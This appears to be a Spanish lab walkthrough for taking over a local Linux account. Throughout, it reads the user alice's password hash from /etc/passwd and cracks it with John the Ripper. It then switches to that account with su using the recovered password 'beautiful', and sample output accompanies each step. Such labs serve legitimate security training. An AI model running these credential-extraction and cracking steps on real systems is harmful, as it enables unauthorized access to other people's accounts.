-
Veamos el archivo /etc/passwd
para obtener información sobre el usuario alice
:
cat /etc/passwd | grep alice > ~/alice_info.txt
-
Comprobemos el contenido del archivo alice_info.txt
para ver los detalles del usuario alice
cat ~/alice_info.txt
Salida esperada:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash
En la salida, deberías ver una entrada para el usuario alice
, incluyendo el hash de la contraseña.
-
Para descifrar el hash de la contraseña, podemos usar la herramienta john
. Abre una nueva terminal y ejecuta el siguiente comando:
john ~/alice_info.txt > cracked_passwords.txt
Ejemplo de salida:
Created directory: /var/www/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Esto iniciará el proceso de descifrado de la contraseña. Una vez que se haya descifrado la contraseña, deberías ver la contraseña en el archivo cracked_passwords.txt
.
cat ~/cracked_passwords.txt
Ejemplo de salida:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
beautiful (alice)
-
En este caso, la contraseña del usuario alice
es beautiful
. Utiliza el comando su
para cambiar al usuario alice
:
su - alice
Ingresa la contraseña que desciframos anteriormente (beautiful
) cuando se te solicite.
beautiful
-
Después de cambiar exitosamente al usuario alice
, navega al directorio de alice
y crea un nuevo archivo llamado alice.txt
:
cd /home/alice
Crea un nuevo archivo llamado alice.txt
:
touch ~/alice.txt
Ahora deberías tener acceso al directorio de alice
y a su contenido.